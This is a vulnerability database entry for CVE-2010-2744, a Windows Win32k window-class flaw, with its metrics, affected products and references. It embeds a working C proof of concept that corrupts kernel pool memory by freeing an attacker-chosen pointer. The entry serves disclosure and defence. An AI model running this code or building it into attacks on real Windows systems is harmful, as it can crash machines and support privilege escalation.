CVE-2010-2744 : Detail

CVE-2010-2744

A01-Broken Access Control
0.05%V3
Local
2010-10-13
16h00 +00:00
2018-10-12
17h57 +00:00
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CVE Descriptions

The kernel-mode drivers in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 do not properly manage a window class, which allows local users to gain privileges by creating a window, then using (1) the SetWindowLongPtr function to modify the popup menu structure, or (2) the SwitchWndProc function with a switch window information pointer, which is not re-initialized when a WM_NCCREATE message is processed, aka "Win32k Window Class Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15894

Publication date : 2011-01-01 23h00 +00:00
Author : Tarjei Mandt
EDB Verified : Yes

#include <windows.h> /* Source: http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/ */ int main(int argc, char **argv) { WNDCLASSA Class = {0}; CREATESTRUCTA Cs = {0}; FARPROC MenuWindowProcA; HMODULE hModule; HWND hWindow; Class.lpfnWndProc = DefWindowProc; Class.lpszClassName = "Class"; Class.cbWndExtra = sizeof(PVOID); RegisterClassA(&Class); hModule = LoadLibraryA("USER32.DLL"); MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA"); hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL); // set the pointer value of the (soon to be) popup menu structure SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080); // set WND->fnid = FNID_MENU MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs); // trigger -> ExPoolFree(0x80808080) DestroyWindow(hWindow); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

References

http://www.exploit-db.com/exploits/15894
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.us-cert.gov/cas/techalerts/TA10-285A.html
Tags : third-party-advisory, x_refsource_CERT